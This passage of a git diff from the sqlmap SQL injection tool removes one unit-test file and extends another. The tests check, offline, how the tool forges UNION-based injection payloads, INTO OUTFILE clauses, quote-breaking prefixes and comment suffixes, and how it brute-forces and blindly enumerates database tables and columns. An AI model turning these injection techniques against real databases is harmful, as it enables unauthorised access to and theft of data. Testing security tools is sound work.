"authUsername": conf.authUsername, - "authPassword": conf.authPassword, - "passwordMgr": kb.passwordMgr, - } - - def tearDown(self): - conf.scheme = self._saved["scheme"] - conf.hostname = self._saved["hostname"] - conf.port = self._saved["port"] - conf.authUsername = self._saved["authUsername"] - conf.authPassword = self._saved["authPassword"] - kb.passwordMgr = self._saved["passwordMgr"] - - def test_noop_without_password_manager(self): - kb.passwordMgr = None - # Must not raise when there is no password manager configured - self.assertIsNone(option._setAuthCred()) - - def test_adds_credentials_to_manager(self): - kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() - conf.scheme = "http" - conf.hostname = "host" - conf.port = 80 - conf.authUsername = "u" - conf.authPassword = "p" - option._setAuthCred() - self.assertEqual( - kb.passwordMgr.find_user_password(None, "http://host:80"), - ("u", "p"), - ) - - -if __name__ == "__main__": - unittest.main() diff --git a/tests/test_core_more.py b/tests/test_core_more.py deleted file mode 100644 index 529415a8d39..00000000000 --- a/tests/test_core_more.py +++ /dev/null @@ -1,706 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Additional unit coverage for lib/core/agent.py, lib/core/common.py and -lib/utils/brute.py, targeting functions/branches NOT already exercised by: - - * tests/test_agent.py (payload delimiters, prefix/suffix defaults, - getFields(SELECT a,b), one MySQL concatQuery, - cleanupPayload RANDNUM) - * tests/test_agent_dialects.py (null/cast/concat, hexConvertField, - nullAndCastField, simpleConcatenate, - forgeUnionQuery(-1,3,...), limitQuery(0,...), - forgeCaseStatement, runAsDBMSUser-noop) - * tests/test_common_utils.py (paramToDict, getCharset, getLimitRange, - parseUnionPage, safeStringFormat, urlencode, - parseTargetUrl/Direct, safeSQLIdentificatorNaming) - * tests/test_common_parsers.py (request-file parsers, reflective masking, - findPageForms, saveConfig, getSQLSnippet, - Backend setters, urlencode/safeStringFormat extras) - -This file instead covers: - - agent.py: forgeUnionQuery (limited / multipleUnions / fromTable / collate / - INTO OUTFILE), limitQuery across several DBMS shapes (TOP/ROWNUM/ - OFFSET dialects + the " FROM "-less early return), whereQuery - (dumpWhere splicing), getComment, concatQuery(unpack=False), - cleanupPayload([ORIGVALUE]/[ORIGINAL]/[SPACE_REPLACE]), - adjustLateValues (SLEEPTIME/base64/RANDNUM), getFields on TOP / - DISTINCT / function / no-FROM shapes, prefixQuery/suffixQuery with - explicit prefix/suffix/clause/comment args, nullAndCastField noCast. - - common.py: isNoneValue, isNullValue, isNumPosStrValue, isNumber, isListLike, - filterPairValues, filterListValue, filterNone, filterStringValue, - zeroDepthSearch, splitFields, unArrayizeValue, flattenValue, - arrayizeValue, joinValue, aliasToDbmsEnum, getPageWordSet, - resetCookieJar (clear branch), normalizeUnicode. - - brute.py: tableExists / columnExists driven with conf.direct=True and the - external collaborators (inject.checkBooleanExpression, getFileItems, - runThreads) monkeypatched, plus _addPageTextWords. - -Everything runs in isolation (no network, no DBMS, no filesystem mutation of -the project). Any global conf/kb/Backend state that a call reads or writes is -snapshotted in setUp and restored in tearDown so test ordering is irrelevant. -""" - -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.agent import agent -from lib.core.data import conf, kb, queries -from lib.core.enums import DBMS -from lib.core.settings import ( - PAYLOAD_DELIMITER, - SLEEP_TIME_MARKER, - BOUNDED_BASE64_MARKER, - NULL, -) -from lib.core.common import ( - Backend, - isNoneValue, - isNullValue, - isNumPosStrValue, - isNumber, - isListLike, - filterPairValues, - filterListValue, - filterNone, - filterStringValue, - zeroDepthSearch, - splitFields, - unArrayizeValue, - flattenValue, - arrayizeValue, - joinValue, - aliasToDbmsEnum, - getPageWordSet, - resetCookieJar, - normalizeUnicode, -) - - -class DbmsStateMixin(object): - """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" - - def setUp(self): - self._forcedDbms = kb.forcedDbms - self._sticky = kb.stickyDBMS - self._batch = conf.batch - conf.batch = True - - def tearDown(self): - kb.forcedDbms = self._forcedDbms - kb.stickyDBMS = self._sticky - conf.batch = self._batch - - -# --------------------------------------------------------------------------- # -# lib/core/agent.py -# --------------------------------------------------------------------------- # - -class TestForgeUnionQuery(DbmsStateMixin, unittest.TestCase): - """forgeUnionQuery arg combinations not reached by the dialect smoke test.""" - - def test_limited_subselect_wraps_query(self): - set_dbms(DBMS.MYSQL) - # limited=True wraps the payload as (SELECT ...) at `position`, fills the - # rest with `char`, and appends the FROM/comment/suffix - out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 1, 3, None, - None, None, "NULL", None, limited=True) - self.assertIn("(SELECT user FROM mysql.user)", out) - self.assertTrue(out.startswith(" UNION ALL SELECT NULL,(SELECT"), msg=out) - # position 1 of 3 => NULL,,NULL - self.assertEqual(out.count("NULL"), 2, msg=out) - - def test_multiple_unions_appends_second_select(self): - set_dbms(DBMS.MYSQL) - out = agent.forgeUnionQuery("SELECT a FROM t", 0, 2, None, None, None, - "NULL", None, multipleUnions="b") - # the multipleUnions payload produces a *second* UNION ALL SELECT - self.assertEqual(out.upper().count("UNION ALL SELECT"), 2, msg=out) - self.assertIn("b", out) - - def test_from_table_override(self): - set_dbms(DBMS.MYSQL) - out = agent.forgeUnionQuery("SELECT 1", 0, 1, None, None, None, "NULL", - None, fromTable=" FROM dummytable") - self.assertIn("FROM dummytable", out, msg=out) - - def test_into_outfile_forces_null_position(self): - set_dbms(DBMS.MYSQL) - # an INTO OUTFILE clause forces position 0 / char NULL and re-appends the file part - out = agent.forgeUnionQuery("SELECT a INTO OUTFILE '/tmp/o.txt' FROM t", - 1, 2, None, None, None, "NULL", None) - self.assertIn("INTO OUTFILE '/tmp/o.txt'", out, msg=out) - - def test_collate_clause_on_mysql(self): - set_dbms(DBMS.MYSQL) - # collate=True on MySQL wraps a non-NULL, non-numeric value in the - # MYSQL_UNION_VALUE_CAST collation wrapper - out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 0, 1, None, - None, None, "NULL", None, collate=True) - self.assertIn("CONVERT", out.upper(), msg=out) - - -class TestLimitQuery(DbmsStateMixin, unittest.TestCase): - """limitQuery dialect shapes beyond the single limitQuery(0,...) smoke test.""" - - def test_no_from_returns_unchanged(self): - set_dbms(DBMS.MYSQL) - self.assertEqual(agent.limitQuery(5, "SELECT 1", "1"), "SELECT 1") - - def test_mysql_appends_limit_offset_one(self): - set_dbms(DBMS.MYSQL) - out = agent.limitQuery(7, "SELECT user FROM mysql.user", "user") - self.assertTrue(out.endswith("LIMIT 7,1"), msg=out) - - def test_pgsql_offset_form(self): - set_dbms(DBMS.PGSQL) - out = agent.limitQuery(4, "SELECT usename FROM pg_shadow", "usename") - self.assertIn("OFFSET 4 LIMIT 1", out, msg=out) - - def test_oracle_rownum_wrap(self): - set_dbms(DBMS.ORACLE) - out = agent.limitQuery(2, "SELECT banner FROM v$version", ["banner"]) - # Oracle wraps in a ROWNUM-bounded subselect ending with = - self.assertIn("ROWNUM", out.upper(), msg=out) - self.assertTrue(out.rstrip().endswith("=3"), msg=out) - - def test_firebird_first_skip(self): - set_dbms(DBMS.FIREBIRD) - out = agent.limitQuery(3, "SELECT foo FROM bar", "foo") - self.assertIsInstance(out, str) - self.assertIn("foo", out) - # Firebird uses ROWS TO (the FIRST/SKIP emulation); pin - # the exact shape so a broken offset arithmetic is caught. - self.assertTrue(out.endswith("ROWS 4 TO 4"), msg=out) - - def test_mssql_top_not_in(self): - set_dbms(DBMS.MSSQL) - out = agent.limitQuery(2, "SELECT name FROM sysobjects", "name", uniqueField="name") - # MSSQL emulates LIMIT via TOP + NOT IN - self.assertIn("TOP", out.upper(), msg=out) - self.assertIn("NOT IN", out.upper(), msg=out) - - -class TestWhereQuery(DbmsStateMixin, unittest.TestCase): - """whereQuery only acts when conf.dumpWhere is set.""" - - def setUp(self): - DbmsStateMixin.setUp(self) - self._dumpWhere = conf.dumpWhere - self._tbl = conf.tbl - - def tearDown(self): - conf.dumpWhere = self._dumpWhere - conf.tbl = self._tbl - DbmsStateMixin.tearDown(self) - - def test_no_dumpwhere_is_identity(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = None - self.assertEqual(agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t") - - def test_appends_where_clause(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>10" - conf.tbl = None - out = agent.whereQuery("SELECT a FROM t") - self.assertIn("WHERE id>10", out, msg=out) - - def test_existing_where_gets_anded(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>10" - conf.tbl = None - out = agent.whereQuery("SELECT a FROM t WHERE b=1") - self.assertIn("AND id>10", out, msg=out) - - def test_order_by_suffix_preserved(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>10" - conf.tbl = None - out = agent.whereQuery("SELECT a FROM t ORDER BY a") - # the genuine trailing ORDER BY is kept after the spliced WHERE - self.assertIn("WHERE id>10", out, msg=out) - # the ORDER BY must survive *after* the spliced WHERE clause; the - # substring check alone could pass even if the suffix were dropped. - self.assertTrue(out.rstrip().endswith("ORDER BY a"), msg=out) - - -class TestGetComment(unittest.TestCase): - def test_present(self): - from lib.core.datatype import AttribDict - self.assertEqual(agent.getComment(AttribDict({"comment": "-- x"})), "-- x") - - def test_absent_returns_empty(self): - from lib.core.datatype import AttribDict - self.assertEqual(agent.getComment(AttribDict()), "") - - -class TestConcatQueryUnpack(DbmsStateMixin, unittest.TestCase): - def test_unpack_false_returns_input_unchanged(self): - set_dbms(DBMS.MYSQL) - self.assertEqual(agent.concatQuery("SELECT a FROM t", unpack=False), - "SELECT a FROM t") - - def test_pgsql_unpack_uses_pipe_concat(self): - set_dbms(DBMS.PGSQL) - out = agent.concatQuery("SELECT usename FROM pg_shadow") - self.assertIn("||", out, msg=out) - self.assertIn(kb.chars.start, out, msg=out) - self.assertIn(kb.chars.stop, out, msg=out) - - -class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase): - def test_origvalue_digit_inlined(self): - out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="42") - self.assertEqual(out, "x=42") - - def test_origvalue_nondigit_quoted(self): - out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="abc") - self.assertIn("'abc'", out, msg=out) - - def test_original_marker_raw_substitution(self): - out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw") - self.assertEqual(out, "p=raw") - - def test_space_replace_marker(self): - out = agent.cleanupPayload("a[SPACE_REPLACE]b") - self.assertEqual(out, "a%sb" % kb.chars.space) - - def test_non_string_returns_none(self): - self.assertIsNone(agent.cleanupPayload(None)) - - -class TestAdjustLateValues(DbmsStateMixin, unittest.TestCase): - def test_sleeptime_replaced_with_timesec(self): - out = agent.adjustLateValues("SLEEP(%s)" % SLEEP_TIME_MARKER) - self.assertEqual(out, "SLEEP(%s)" % conf.timeSec) - self.assertNotIn(SLEEP_TIME_MARKER, out) - - def test_randnum_marker_substituted(self): - out = agent.adjustLateValues("v=[RANDNUM]") - self.assertNotIn("[RANDNUM]", out) - self.assertTrue(out.split("=")[1].isdigit(), msg=out) - - def test_bounded_base64_marker_encoded(self): - payload = "%sAB%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER) - out = agent.adjustLateValues(payload) - # the marked region is base64-encoded and the markers are consumed - self.assertNotIn(BOUNDED_BASE64_MARKER, out) - self.assertEqual(out, "QUI=") - - def test_empty_payload_passthrough(self): - self.assertEqual(agent.adjustLateValues(""), "") - - -class TestGetFieldsShapes(DbmsStateMixin, unittest.TestCase): - def test_select_top(self): - set_dbms(DBMS.MSSQL) - res = agent.getFields("SELECT TOP 1 name FROM sysobjects") - self.assertIsNotNone(res[3], msg="fieldsSelectTop not matched") - self.assertEqual(res[6], "name") - - def test_distinct(self): - set_dbms(DBMS.MYSQL) - res = agent.getFields("SELECT DISTINCT(name) FROM t") - self.assertEqual(res[6], "name") - - def test_function_is_single_element(self): - set_dbms(DBMS.MYSQL) - res = agent.getFields("SELECT COUNT(*) FROM t") - self.assertEqual(res[5], ["COUNT(*)"]) - - def test_no_from_keeps_whole_select_list(self): - set_dbms(DBMS.MYSQL) - res = agent.getFields("SELECT a,b,c") - self.assertIsNone(res[0], msg="fieldsSelectFrom must be None without FROM") - self.assertEqual(res[5], ["a", "b", "c"]) - - -class TestPrefixSuffixArgs(DbmsStateMixin, unittest.TestCase): - def test_prefix_with_explicit_prefix(self): - set_dbms(DBMS.MYSQL) - out = agent.prefixQuery("1=1", prefix="')") - self.assertIn("')", out, msg=out) - self.assertTrue(out.endswith("1=1"), msg=out) - - def test_prefix_group_by_clause_uses_prefix_verbatim(self): - set_dbms(DBMS.MYSQL) - # clause == [2] (GROUP BY / ORDER BY) => no trailing space added - out = agent.prefixQuery("1=1", prefix="X", clause=[2]) - self.assertEqual(out, "X1=1") - - def test_suffix_appends_comment(self): - set_dbms(DBMS.MYSQL) - out = agent.suffixQuery("1=1", comment="-- -") - self.assertTrue(out.startswith("1=1"), msg=out) - self.assertIn("-", out) - - def test_suffix_appends_suffix_no_comment(self): - set_dbms(DBMS.MYSQL) - out = agent.suffixQuery("1=1", suffix="')") - self.assertIn("')", out, msg=out) - - -class TestNullAndCastFieldNoCast(DbmsStateMixin, unittest.TestCase): - def setUp(self): - DbmsStateMixin.setUp(self) - self._noCast = conf.noCast - - def tearDown(self): - conf.noCast = self._noCast - DbmsStateMixin.tearDown(self) - - def test_nocast_returns_field_unchanged(self): - set_dbms(DBMS.MYSQL) - conf.noCast = True - self.assertEqual(agent.nullAndCastField("colname"), "colname") - - def test_cast_present_when_nocast_off(self): - set_dbms(DBMS.MYSQL) - conf.noCast = False - out = agent.nullAndCastField("colname") - self.assertIn("CAST", out.upper(), msg=out) - self.assertIn("colname", out) - - -# --------------------------------------------------------------------------- # -# lib/core/common.py -# --------------------------------------------------------------------------- # - -class TestSmallPredicates(unittest.TestCase): - def test_is_none_value(self): - self.assertTrue(isNoneValue(None)) - self.assertTrue(isNoneValue("None")) - self.assertTrue(isNoneValue("")) - self.assertTrue(isNoneValue([])) - self.assertTrue(isNoneValue(["None", ""])) - self.assertTrue(isNoneValue({})) - self.assertFalse(isNoneValue([2])) - self.assertFalse(isNoneValue("x")) - - def test_is_null_value(self): - self.assertTrue(isNullValue(u"NULL")) - self.assertTrue(isNullValue(u"null")) - self.assertFalse(isNullValue(u"foobar")) - self.assertFalse(isNullValue(5)) - - def test_is_num_pos_str_value(self): - self.assertTrue(isNumPosStrValue(1)) - self.assertTrue(isNumPosStrValue("1")) - self.assertFalse(isNumPosStrValue(0)) - self.assertFalse(isNumPosStrValue("-2")) - self.assertFalse(isNumPosStrValue("100000000000000000000")) - self.assertFalse(isNumPosStrValue("abc")) - - def test_is_number(self): - self.assertTrue(isNumber(1)) - self.assertTrue(isNumber("0")) - self.assertTrue(isNumber("3.14")) - self.assertFalse(isNumber("foobar")) - self.assertFalse(isNumber(None)) - - def test_is_list_like(self): - self.assertTrue(isListLike([1])) - self.assertTrue(isListLike((1,))) - self.assertTrue(isListLike(set([1]))) - self.assertFalse(isListLike("x")) - self.assertFalse(isListLike(5)) - - -class TestValueShaping(unittest.TestCase): - def test_filter_pair_values(self): - self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) - self.assertEqual(filterPairValues(None), []) - - def test_filter_list_value(self): - self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), - ["users", "admins"]) - # non-list input returned unchanged - self.assertEqual(filterListValue("notlist", r"x"), "notlist") - # no regex returns input - self.assertEqual(filterListValue(["a"], None), ["a"]) - - def test_filter_none(self): - self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) - - def test_filter_string_value(self): - self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") - - def test_un_arrayize_value(self): - self.assertEqual(unArrayizeValue(["1"]), "1") - self.assertEqual(unArrayizeValue("1"), "1") - self.assertEqual(unArrayizeValue(["1", "2"]), "1") - self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") - self.assertIsNone(unArrayizeValue([])) - - def test_flatten_value(self): - self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) - - def test_arrayize_value(self): - self.assertEqual(arrayizeValue("1"), ["1"]) - self.assertEqual(arrayizeValue(["1"]), ["1"]) - - def test_join_value(self): - self.assertEqual(joinValue(["1", "2"]), "1,2") - self.assertEqual(joinValue("1"), "1") - self.assertEqual(joinValue(["1", None]), "1,None") - - -class TestZeroDepthAndSplit(unittest.TestCase): - def test_zero_depth_search_skips_parens(self): - expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" - idx = zeroDepthSearch(expr, " FROM ") - # only the outer top-level FROM is found, not the one inside the subselect - self.assertEqual(len(idx), 1) - self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) - - def test_zero_depth_search_ignores_quoted(self): - expr = "a , 'b , c' , d" - # commas inside the quoted literal are not reported - self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) - - def test_split_fields_basic(self): - self.assertEqual(splitFields("foo, bar, max(foo, bar)"), - ["foo", "bar", "max(foo,bar)"]) - - def test_split_fields_quoted(self): - self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) - - def test_split_fields_custom_delimiter(self): - self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), - ["a", "b", "max(c;d)"]) - - -class TestAliasToDbmsEnum(unittest.TestCase): - def test_known_aliases(self): - self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) - self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) - self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) - - def test_unknown_alias_returns_none(self): - self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) - - def test_empty_returns_none(self): - self.assertIsNone(aliasToDbmsEnum("")) - - -class TestGetPageWordSet(unittest.TestCase): - def test_word_extraction(self): - words = getPageWordSet(u"foobartest") - self.assertEqual(sorted(words), [u"foobar", u"test"]) - - def test_non_string_returns_empty(self): - self.assertEqual(getPageWordSet(None), set()) - - -class TestNormalizeUnicode(unittest.TestCase): - def test_accents_stripped(self): - # normalizeUnicode collapses accented chars to their ASCII base - self.assertEqual(normalizeUnicode(u"éè"), "ee") - - def test_plain_ascii_unchanged(self): - self.assertEqual(normalizeUnicode(u"abc123"), "abc123") - - def test_none_returns_none(self): - self.assertIsNone(normalizeUnicode(None)) - - -class TestResetCookieJar(unittest.TestCase): - """resetCookieJar's clear branch (conf.loadCookies falsy).""" - - def setUp(self): - self._loadCookies = conf.loadCookies - conf.loadCookies = None - - def tearDown(self): - conf.loadCookies = self._loadCookies - - def test_clear_branch(self): - try: - from http.cookiejar import CookieJar - except ImportError: # Python 2 - from cookielib import CookieJar - - jar = CookieJar() - cleared = {"called": False} - - class _Jar(object): - def clear(self): - cleared["called"] = True - - resetCookieJar(_Jar()) - self.assertTrue(cleared["called"]) - # also accepts a real jar without raising - self.assertIsNone(resetCookieJar(jar)) - - -# --------------------------------------------------------------------------- # -# lib/utils/brute.py -# --------------------------------------------------------------------------- # - -import lib.utils.brute as brute -from lib.request import inject -import lib.core.threads as threads_mod -import lib.core.common as common_mod - - -class TestBrute(DbmsStateMixin, unittest.TestCase): - """Drive tableExists / columnExists with all external collaborators stubbed. - - conf.direct=True skips the time/stacked recommendation prompt. checkBooleanExpression, - getFileItems and runThreads are monkeypatched so the check runs synchronously, - deterministically and offline. getPageWordSet is neutralized so the wordlist is - just what the stub returns. - """ - - def setUp(self): - DbmsStateMixin.setUp(self) - self._saved_conf = {k: conf.get(k) for k in - ("direct", "db", "tbl", "threads", "api", "verbose")} - self._choices = kb.choices - self._cachedTables = kb.data.get("cachedTables") - self._cachedColumns = kb.data.get("cachedColumns") - self._brute = kb.brute - self._origPage = kb.originalPage - - # stub the collaborators - self._orig_cbe = inject.checkBooleanExpression - self._orig_brute_cbe = brute.inject.checkBooleanExpression - self._orig_getFileItems = brute.getFileItems - self._orig_runThreads = brute.runThreads - self._orig_getPageWordSet = brute.getPageWordSet - - from lib.core.datatype import AttribDict - kb.choices = AttribDict(keycheck=False) - kb.choices.tableExists = None - kb.choices.columnExists = None - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - kb.brute = AttribDict({"tables": [], "columns": []}) - kb.originalPage = None - - conf.direct = True - conf.db = None - conf.threads = 1 - conf.api = False - conf.verbose = 0 - - # runThreads -> just call the worker once synchronously - def _fakeRunThreads(numThreads, threadFunction, *args, **kwargs): - kb.threadContinue = True - threadFunction() - brute.runThreads = _fakeRunThreads - # no page words injected into the wordlist - brute.getPageWordSet = lambda page: set() - # wordlist file -> small fixed list - brute.getFileItems = lambda *a, **k: ["users", "logs", "secret_t"] - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - kb.choices = self._choices - if self._cachedTables is None: - kb.data.pop("cachedTables", None) - else: - kb.data.cachedTables = self._cachedTables - if self._cachedColumns is None: - kb.data.pop("cachedColumns", None) - else: - kb.data.cachedColumns = self._cachedColumns - kb.brute = self._brute - kb.originalPage = self._origPage - brute.inject.checkBooleanExpression = self._orig_brute_cbe - brute.getFileItems = self._orig_getFileItems - brute.runThreads = self._orig_runThreads - brute.getPageWordSet = self._orig_getPageWordSet - DbmsStateMixin.tearDown(self) - - def test_table_exists_collects_true_results(self): - set_dbms(DBMS.MYSQL) - - def _cbe(expression, expectingNone=True): - # initial sanity probe (random table) -> must be False, otherwise the - # function raises SqlmapDataException; then only "users" exists. - return "users" in expression - brute.inject.checkBooleanExpression = _cbe - - result = brute.tableExists("/nonexistent/tables.txt") - # cachedTables keyed by conf.db (None here) holds the discovered table - self.assertIn(None, result) - self.assertIn("users", result[None]) - self.assertNotIn("logs", result.get(None, [])) - # also recorded in kb.brute.tables as (db, table) - self.assertIn((None, "users"), kb.brute.tables) - - def test_table_exists_invalid_results_raises(self): - from lib.core.exception import SqlmapDataException - set_dbms(DBMS.MYSQL) - # the initial random-table probe returns True -> "invalid results" guard - brute.inject.checkBooleanExpression = lambda *a, **k: True - with self.assertRaises(SqlmapDataException): - brute.tableExists("/nonexistent/tables.txt") - - def test_column_exists_requires_table(self): - from lib.core.exception import SqlmapMissingMandatoryOptionException - set_dbms(DBMS.MYSQL) - conf.tbl = None - # the sanity probe is False so we reach the missing-table guard - brute.inject.checkBooleanExpression = lambda *a, **k: False - with self.assertRaises(SqlmapMissingMandatoryOptionException): - brute.columnExists("/nonexistent/columns.txt") - - def test_column_exists_collects_and_types(self): - set_dbms(DBMS.MYSQL) - conf.tbl = "users" - brute.getFileItems = lambda *a, **k: ["id", "name"] - - calls = {"n": 0} - - def _cbe(expression, expectingNone=True): - calls["n"] += 1 - # initial sanity probe uses two random strings (no real column name) - if "id" not in expression and "name" not in expression: - return False - # MySQL numeric-type follow-up: `not checkBooleanExpression(... REGEXP '[^0-9]')`. - # 'id' is numeric (no non-digit chars => probe False => numeric); - # 'name' is non-numeric (has non-digit chars => probe True => non-numeric). - if "REGEXP" in expression: - return "name" in expression - # plain existence check (EXISTS(SELECT FROM )) => both columns exist - return True - brute.inject.checkBooleanExpression = _cbe - - result = brute.columnExists("/nonexistent/columns.txt") - self.assertIn(None, result) - cols = result[None]["users"] - # column names are run through safeSQLIdentificatorNaming, so the MySQL - # reserved word "name" comes back backtick-quoted - from lib.core.common import safeSQLIdentificatorNaming, getText - self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("id"))), "numeric") - self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("name"))), "non-numeric") - - def test_add_page_text_words_filters(self): - # restore the real getPageWordSet for this one and drive it directly - brute.getPageWordSet = self._orig_getPageWordSet - kb.originalPage = u"admin password 1abc xy verylongword" - words = brute._addPageTextWords() - # words <= 2 chars or starting with a digit are dropped - self.assertIn("admin", words) - self.assertIn("password", words) - self.assertNotIn("xy", words) - self.assertNotIn("1abc", words) - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index 323a4a72825..3bba88dde33 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -36,6 +36,26 @@ _NOOP = lambda self: None +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + class _BaseEnumTest(unittest.TestCase): """Shared setup/teardown that snapshots and restores all touched global state.""" @@ -507,5 +527,241 @@ def gv(query, *a, **k): self.assertEqual(sorted(result), sorted(procs)) +# --------------------------------------------------------------------------- # +# Inference / brute-force branches (relocated from test_generic_enum_more.py) +# --------------------------------------------------------------------------- # + +class _DbBase(unittest.TestCase): + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_checkBool = dbmod.inject.checkBooleanExpression + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_hintValue = kb.get("hintValue") + self._saved_choices = dict(kb.choices) + self._saved_readInput = dbmod.readInput + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + dbmod.inject.checkBooleanExpression = self._saved_checkBool + dbmod.readInput = self._saved_readInput + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + kb.choices.clear() + kb.choices.update(self._saved_choices) + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + def _fresh(self): + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestDatabasesInference(_DbBase): + def test_get_columns_inference_pgsql_types(self): + # Blind column enumeration on PostgreSQL: a count, then for each index a + # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + conf.db = "public" + conf.tbl = "users" + + names = ["id", "email"] + state = {"i": 0, "name": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + if state["name"]: + val = names[state["i"] % len(names)] + state["i"] += 1 + state["name"] = False + return [val] + state["name"] = True + return ["integer"] + + dbmod.inject.getValue = gv + result = d.getColumns() + cols = result["public"]["users"] + self.assertEqual(len(cols), 2) + self.assertEqual(cols.get("id"), "integer") + + def test_get_columns_inference_dump_mode_collist(self): + # dumpMode with an explicit conf.col list: in the inference branch the + # columns are taken straight from colList (no count/type queries at all) + # and stored with value None. Asserting no getValue ran proves the + # dump-mode shortcut, not a network round-trip. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "id,name" + + def boom(*a, **k): + raise AssertionError("dumpMode+colList must not query in inference branch") + + dbmod.inject.getValue = boom + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; + # both columns must be present (count, since exact key varies by quoting). + self.assertEqual(len(cols), 2) + self.assertIn("id", cols) + self.assertIsNone(cols.get("id")) + + def test_get_count_over_cached_tables_inference(self): + # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. + # Drive the inband table fetch + per-table count and assert the + # {db:{count:[tables]}} grouping (tables sharing a count are grouped). + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + kb.data.cachedTables = {"testdb": ["users", "posts"]} + + counts = {"users": "5", "posts": "5"} + + def gv(query, *a, **k): + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + # both tables have count 5 -> grouped under the same key + self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) + + def test_get_statements_count_zero_returns_empty(self): + # Inference path: a zero count short-circuits to the (empty) cache. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + # getStatements compares the count with the int literal 0 (count == 0), so + # the count stub must return an int 0 (not "0") to take the empty branch. + dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") + result = d.getStatements() + self.assertEqual(result, []) + + def test_get_procedures_inference(self): + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) + result = d.getProcedures() + self.assertEqual(sorted(result), ["sp_a", "sp_b"]) + + def test_get_dbs_mssql_inband_paging(self): + # MSSQL with no rows from the primary query falls into the query2 paging + # loop 